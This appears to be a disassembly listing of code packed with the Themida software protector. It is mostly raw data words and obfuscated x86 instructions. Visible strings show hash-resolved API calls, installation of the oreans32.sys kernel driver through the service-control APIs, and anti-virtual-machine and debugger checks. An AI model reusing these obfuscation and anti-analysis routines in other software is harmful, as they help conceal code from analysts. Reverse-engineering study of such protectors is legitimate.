60DAE49h, 858D046Ah dd 60DAE3Dh, 6A046A50h, 0F858D00h, 50060DAEh, 0AE39B5FFh dd 95FF060Dh, 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h dd 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h dd 858D046Ah, 60DAE3Dh, 6A046A50h, 0BF858D00h, 50060DADh dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh, 95FF060Dh dd 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 65BD83C3h dd 60B27h, 0B840Fh, 9D8B0000h, 60B2765h, 894CC383h, 0BD83C303h dd 60B2765h, 0B840F00h, 8B000000h, 0B27659Dh, 50C38306h dd 83C30389h, 0B2765BDh, 840F0006h, 0Bh, 27659D8Bh, 0C383060Bh dd 0C3038954h, 2765BD83h, 0F00060Bh, 0B84h, 659D8B00h dd 83060B27h, 38958C3h, 65BD83C3h, 60B27h, 0B840Fh, 9D8B0000h dd 60B2765h, 895CC383h, 60C3C303h, 0AE3D8589h, 858D060Dh dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE34858Dh, 0FF50060Dh dd 0DAE39B5h, 195FF06h, 83060B2Fh, 0B05BDBDh, 840F0006h dd 0Ch, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh dd 60B2ACDh, 8960C361h, 0DAE3D85h, 39858D06h, 50060DAEh dd 0ADA3858Dh, 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh dd 0AE3D858Dh, 6A50060Dh, 8D006A04h, 0DAE1685h, 0B5FF5006h dd 60DAE39h, 2F0195FFh, 0BD83060Bh, 60B05BDh, 0C840F00h dd 0FF000000h, 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h dd 0CD95FF06h, 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh dd 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h, 0DAE4995h dd 8D046A06h, 0DAE3D85h, 46A5006h, 858D006Ah, 60DAE1Dh dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h dd 0C840Fh, 0B5FF0000h, 60DAE39h, 0AE4595FFh, 0B5FF060Dh dd 60DAE39h, 2ACD95FFh, 0C361060Bh, 3D858960h, 8D060DAEh dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h dd 858D046Ah, 60DAE3Dh, 6A046A50h, 25858D00h, 50060DAEh dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 5BDBD83h, 0F00060Bh dd 0C84h, 39B5FF00h, 0FF060DAEh, 0DAE4595h, 39B5FF06h dd 0FF060DAEh, 0B2ACD95h, 60C36106h, 0AE3D8589h, 858D060Dh dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE2C858Dh, 0FF50060Dh dd 0DAE39B5h, 195FF06h, 83060B2Fh, 0B05BDBDh, 840F0006h dd 0Ch, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh dd 60B2ACDh, 0C760C361h, 0DAE3D85h, 106h, 39858D00h, 50060DAEh dd 0ADA3858Dh, 6850060Dh, 80000002h, 0AE4995FFh, 0C00B060Dh dd 0F840Fh, 85C70000h, 60DAE3Dh, 0 ; --------------------------------------------------------------------------- jmp loc_5673B6 ; --------------------------------------------------------------------------- push 4 lea eax, [ebp+60DAE3Dh] push eax push 4 push 0 lea eax, [ebp+60DADB7h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2F01h] or eax, eax jz loc_5673A0 mov dword ptr [ebp+60DAE3Dh], 0 jmp loc_5673AA ; --------------------------------------------------------------------------- loc_5673A0: ; CODE XREF: Themida_:0056738Bj mov dword ptr [ebp+60DAE3Dh], 1 loc_5673AA: ; CODE XREF: Themida_:0056739Bj push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2ACDh] loc_5673B6: ; CODE XREF: Themida_:00567364j popa mov eax, [ebp+60DAE3Dh] retn ; --------------------------------------------------------------------------- pusha mov [ebp+60DAE3Dh], eax lea eax, [ebp+60DAE39h] push eax lea eax, [ebp+60DADA3h] push eax push 80000001h call dword ptr [ebp+60DAE49h] push 4 lea eax, [ebp+60DAE3Dh] push eax push 4 push 0 lea eax, [ebp+60DADB7h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2F01h] cmp dword ptr [ebp+60B05BDh], 0 jz loc_567417 push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60DAE45h] loc_567417: ; CODE XREF: Themida_:00567405j push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2ACDh] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+60DAE3Dh], eax lea eax, [ebp+60DAE39h] push eax lea eax, [ebp+60DADA3h] push eax push 80000001h call dword ptr [ebp+60DAE49h] push 4 lea eax, [ebp+60DAE3Dh] push eax push 4 push 0 lea eax, [ebp+60DADC9h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2F01h] cmp dword ptr [ebp+60B05BDh], 0 jz loc_56747E push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60DAE45h] loc_56747E: ; CODE XREF: Themida_:0056746Cj push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2ACDh] popa retn ; --------------------------------------------------------------------------- dd 284585C6h, 6852060Bh, 0ADE47B07h, 194DB5FFh, 95FF060Bh dd 60B08A9h, 0AE498589h, 85C6060Dh, 60B2845h, 0E56852h dd 0B5FF902Eh, 60B194Dh, 8A995FFh, 8589060Bh, 60DAE45h dd 284585C6h, 6852060Bh, 0B9BF1235h, 194DB5FFh, 95FF060Bh dd 60B08A9h, 2F018589h, 85C6060Bh, 60B2845h, 10346852h dd 0B5FF9878h, 60B194Dh, 8A995FFh, 8589060Bh, 60B2ACDh dd 284585C6h, 6852060Bh, 0C005DBD4h, 194DB5FFh, 95FF060Bh dd 60B08A9h, 2A618589h, 8E8060Bh, 0E9000000h, 0FE43D60Dh dd 0F291F79h, 2485h, 0AE800h, 0A71B0000h, 1DB4997h, 86EF00C3h dd 0EE8h, 0E7EC1800h, 57B222F7h, 0A5EE4105h, 5EBA3FA0h dd 0D68B5B5Ah, 6A60C381h, 880F0000h, 0 dd 0FC52C92Bh, 0B3C8B5Eh, 1B850Fh, 12E80000h, 95000000h dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 45E6804Bh dd 0BCEF815Ah, 6606FE93h, 7302E281h, 9974F781h, 81F844DEh dd 8EE0F5EFh, 0F0B70F18h, 0C6BF0F57h, 0F0B048Fh, 28Bh dd 60D68B00h, 61F5C28Bh, 43E8E981h, 0D0814CE6h, 2BB90E1Fh dd 43E4C181h, 10E84CE6h, 9F000000h, 99314C08h, 0E877A46Ch dd 0AFB9460Ah, 5074D5C0h, 948D81BAh, 81585A0Eh, 0FF9674F9h dd 72850FFFh, 66FFFFFFh, 0E9CF92B8h, 99h, 6775622Fh, 63656863h dd 2F00326Bh, 63677562h, 6B636568h, 6F662F00h, 72656372h dd 2F006E75h, 63677562h, 6B636568h, 6C6C7566h, 68732F00h dd 6F63776Fh, 2F006564h, 776F6873h, 65646F63h, 632F0032h dd 74726Ch, 7369642Fh, 732F0031h, 69776F68h, 6174736Eh dd 65636Eh, 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h dd 61747367h, 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0E0BD8300h, 60DB5h, 0A840Fh, 85C70000h, 60B29D1h, 1 dd 284585C6h, 6847060Bh, 0D4CDA956h, 0DB243481h, 0FF44A0C5h dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B560B58Dh, 25E8060Dh dd 3000002h, 0DB5F5BDh, 0F5BD8306h, 60DB5h, 0B840Fh, 85C70000h dd 60B05BDh, 1, 6BB58DC3h, 0E8060DB5h, 1FCh, 0B5F5BD03h dd 0BD83060Dh, 60DB5F5h, 0B840F00h, 0C7000000h, 0B29D185h dd 106h, 0B58DC300h, 60DB5E4h, 1D3E8h, 0F5BD0300h, 83060DB5h dd 0DB5F5BDh, 840F0006h, 0Bh, 199585C7h, 1060Bh, 8DC30000h dd 0DB575B5h, 1AAE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h dd 0F00060Dh, 0B84h, 0D185C700h, 1060B29h, 0C3000000h dd 0B57FB58Dh, 81E8060Dh, 3000001h, 0DB5F5BDh, 0F5BD8306h dd 60DB5h, 15840Fh, 85C70000h, 60B29D1h, 1, 5BD85C7h, 1060Bh dd 8DC30000h, 0DB58DB5h, 14EE806h, 0BD030000h, 60DB5F5h dd 0B5F5BD83h, 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h dd 0DB597B5h, 126E806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h dd 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h, 0DB5A2B5h dd 0FEE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh dd 0A84h, 0A585C700h, 1060B03h, 8D000000h, 0DB5A8B5h, 0D6E806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 5D85C700h, 1060B1Ah, 8D000000h, 0DB5AEB5h, 0AEE806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 3D85C700h, 1060B0Bh, 8D000000h, 0DB5BCB5h, 86E806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 0E585C700h, 1060B27h, 8D000000h, 0DB5C9B5h, 5EE806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 7985C700h, 1060B2Eh, 8D000000h, 0DB5D4B5h, 36E806h dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h dd 9185C700h, 1060B18h, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0 ; --------------------------------------------------------------------------- or ecx, ecx jz loc_567A01 sub esi, ebx mov [ebp+60DB5F5h], esi jmp loc_567A0B ; --------------------------------------------------------------------------- loc_567A01: ; CODE XREF: Themida_:005679EEj mov dword ptr [ebp+60DB5F5h], 0 loc_567A0B: ; CODE XREF: Themida_:005679FCj popa retn ; --------------------------------------------------------------------------- mov ecx, eax jmp loc_567C22 ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 10h dd 67h dup(0) dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_567C22: ; CODE XREF: Themida_:00567A0Fj jmp loc_567D16 ; --------------------------------------------------------------------------- mov byte ptr [ebp+60B2845h], 47h push 0E3E45B86h push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax push 104h lea ebx, [ebp+60B099Dh] push ebx call eax push eax lea esi, [ebp+60DBB68h] mov edi, esi xor al, al loc_567C5A: ; CODE XREF: Themida_:00567C5Bj scasb jnz loc_567C5A sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+60B2845h], 43h push 0BC8E6EFCh push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax lea esi, [ebp+60B099Dh] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+60B2845h], 57h push 0A69BEE56h push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax lea edi, [ebp+60B2775h] lea ecx, [ebp+60DBC8Eh] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_567CF8 lea esi, [ebp+60DB970h] lea eax, [ebp+60DA5F9h] call eax lea ecx, [ebp+60B7305h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_567CF8: ; CODE XREF: Themida_:00567CD7j mov byte ptr [ebp+60B2845h], 43h push 0C0764AA7h push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_567D16: ; CODE XREF: Themida_:loc_567C22j mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_567D2D ; --------------------------------------------------------------------------- mov eax, ebx loc_567D2D: ; CODE XREF: Themida_:00567D26j jmp loc_56B502 ; --------------------------------------------------------------------------- dw 5A4Dh db 90h align 2 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B502: ; CODE XREF: Themida_:loc_567D2Dj call near ptr loc_56B50D+1 fdivr qword ptr [ebx+71h] test dl, 4Ah loc_56B50D: ; CODE XREF: Themida_:loc_56B502p fadd dword ptr [ebx] test ebx, ecx or eax, es:[esi] pop esi or ah, 0E8h add esi, 7242h mov edx, [ebp+60B0B4Dh] mov edi, 0 mov ax, 1944h loc_56B52D: ; CODE XREF: Themida_:0056B591j push dword ptr [edi+esi] cmc pop ebx jmp loc_56B545 ; --------------------------------------------------------------------------- db 73h db 9, 0F6h ; --------------------------------------------------------------------------- push edx sub [edi+esi*2+8], eax aam 0BCh push esi lodsd retf ; --------------------------------------------------------------------------- db 83h ; --------------------------------------------------------------------------- loc_56B545: ; CODE XREF: Themida_:0056B532j sub ebx, 4CCFF16Dh and cx, 9883h xor ebx, 7747C3A3h mov ecx, [ebp+60B0419h] add ebx, 316E82C0h cld push ebx mov dl, 0ACh pop dword ptr [esi+edi] mov [ebp+60B0609h], esi mov cx, 0B057h sub edi, 5C8F1BCEh xor [ebp+60B0B2Dh], eax add edi, 5C8F1BCAh mov [ebp+60B2B61h], ecx cmp edi, 0FFFF8E50h jnz loc_56B52D or edx, [ebp+60B1339h] jmp loc_56C64B ; --------------------------------------------------------------------------- dw 4441h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0) dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_56C64B: ; CODE XREF: Themida_:0056B59Dj mov eax, esp push 0 push ebp call sub_56C658 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56C658 proc near ; CODE XREF: Themida_:0056C650p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_56C658 endp ; --------------------------------------------------------------------------- dec ebx aad 4Dh and esi, [edx+58B67F0Eh] mov [ebp+60B32B5h], eax push 0 push edi call sub_56C682 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56C682 proc near ; CODE XREF: Themida_:0056C67Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_56C682 endp ; --------------------------------------------------------------------------- dw 0C5E7h dd 89F1D4EBh, 0B09658Dh, 6AC08B06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 93D4C351h dd 0AE99177h, 37000000h, 642E449Ah, 6EA8E346h, 0BDBD8358h dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h dd 43Dh, 2A358589h, 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h dd 7400060Bh, 0B8535017h, 43Dh, 2A358589h, 9D8D060Bh, 60DB009h dd 585BD3FFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0D9C35040h, 8166140Eh, 8BC869EFh, 0B0011BDh, 66C08B06h dd 50ED781h, 0D981C08Bh, 7094590Ah, 5BDBD83h, 7500060Bh dd 0D1BD8309h, 60B29h, 53501374h, 0B8C08Bh, 8D000000h dd 0DB1BC9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501174h dd 0B8h, 6D9D8D00h, 0FF060DB0h, 80585BD3h, 0BE9FDC5h, 0B0000000h dd 25963FECh, 0C1968396h, 0C08B592Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 73C35747h, 8106AFCFh, 0A09A06D2h dd 0CFB70F14h, 0B70FC08Bh, 0BDBD83D7h, 60B05h, 0BD830975h dd 60B29D1h, 50137400h, 0B8C08B53h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+60DB0EEh] call ebx pop ebx pop eax cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56C810 push eax push ebx mov eax, 0 lea ebx, [ebp+60DB03Bh] call ebx pop ebx pop eax loc_56C810: ; CODE XREF: Themida_:0056C7FDj movzx edx, ax push 0 push edi call sub_56C81E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56C81E proc near ; CODE XREF: Themida_:0056C816p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_56C81E endp ; --------------------------------------------------------------------------- mov cl, 0ACh sub ecx, [di+1E9h] or eax, [esi] mov eax, eax mov ecx, [ebp+60B18A9h] mov eax, eax pusha mov [ebp+60B3161h], edi mov eax, [ebp+60B021Dh] popa cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56C861 cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56C874 loc_56C861: ; CODE XREF: Themida_:0056C856j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+60DB155h] call ebx pop ebx pop eax loc_56C874: ; CODE XREF: Themida_:0056C85Fj cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56C88E push eax push ebx mov eax, 0 lea ebx, [ebp+60DB054h] call ebx pop ebx pop eax loc_56C88E: ; CODE XREF: Themida_:0056C87Bj mov [ebp+60B02B5h], edi mov eax, eax mov [ebp+60B15F1h], edi mov eax, eax mov [ebp+60B21DDh], edi cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56C8B6 cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56C8C9 loc_56C8B6: ; CODE XREF: Themida_:0056C8ABj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+60DB087h] call ebx pop ebx pop eax loc_56C8C9: ; CODE XREF: Themida_:0056C8B4j sub [ebp+60B1B71h], ebx jnp loc_56C8DF pusha mov [ebp+60B1FC5h], ecx mov dl, 6 popa loc_56C8DF: ; CODE XREF: Themida_:0056C8CFj jb loc_56C8EE jz loc_56C8EE movzx ecx, cx loc_56C8EE: ; CODE XREF: Themida_:loc_56C8DFj ; Themida_:0056C8E5j mov eax, eax mov dl, 82h mov eax, eax sub [ebp+60B2279h], edi cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56C90C cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56C925 loc_56C90C: ; CODE XREF: Themida_:0056C901j push eax push ebx mov eax, eax mov eax, 7D0h mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB31Ah] call ebx pop ebx pop eax loc_56C925: ; CODE XREF: Themida_:0056C90Aj cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56C945 push eax push ebx mov eax, 7D0h mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB009h] call ebx pop ebx pop eax loc_56C945: ; CODE XREF: Themida_:0056C92Cj push 0 push ecx call sub_56C950 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56C950 proc near ; CODE XREF: Themida_:0056C948p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_56C950 endp ; --------------------------------------------------------------------------- dd 0A9FC644Ch, 59EB8A50h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0D253A8C3h, 8F0F1492h dd 6, 32A18D89h, 85C6060Bh, 60B2845h, 56006A53h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0C3B78D99h, 0F850DDEh, 8D8BD3B7h, 60B1839h, 395F9068h dd 0E9D78A99h, 8, 0A767039Ch, 0B4EBE563h, 0B01B5FFh, 858D060Bh dd 60B390Dh, 8D8BFB8Bh, 60B0DDDh, 0BD8BD0FFh, 60B0AB9h dd 0AC58589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 8EB612C3h, 0BB4F2E9h, 0BA10C412h dd 6FA61214h, 816655B5h, 0C6C4CBCFh, 0B284585h, 8D8B5706h dd 60B1161h, 4520668h, 0CE85790h, 6C000000h, 5A33EB9Ah dd 7EDB90B0h, 0E8F2AAF3h, 12h, 0C985FC60h, 727453CAh, 0B9A9AEA2h dd 9F0775F8h, 5A598924h, 1B5FF59h, 1060B0Bh, 0B31F185h dd 8D98B606h, 0B390D85h, 9E906h, 6E2A0000h, 0CBC7044Ah dd 0FF69CF5Dh, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 858918D8h, 60B2411h, 4585C6F8h dd 43060B28h, 68D0B70Fh, 0BC907028h, 24559D01h, 0B5FF060Bh dd 60B0B01h, 21E9958Bh, 858D060Bh, 60B390Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3EC35545h, 0FB617C9Dh dd 0FF89DDCAh, 51006AD0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0E6D1555Eh, 76B79A30h dd 27A58589h, 8D89060Bh, 60B003Dh, 284585C6h, 8B4C060Bh dd 0B240595h, 1CE96806h, 0BD8BD9DAh, 60B1161h, 0CD04DF81h dd 0B5FF0770h, 60B0B01h, 68B0Fh, 85310000h, 60B0921h, 390D858Dh 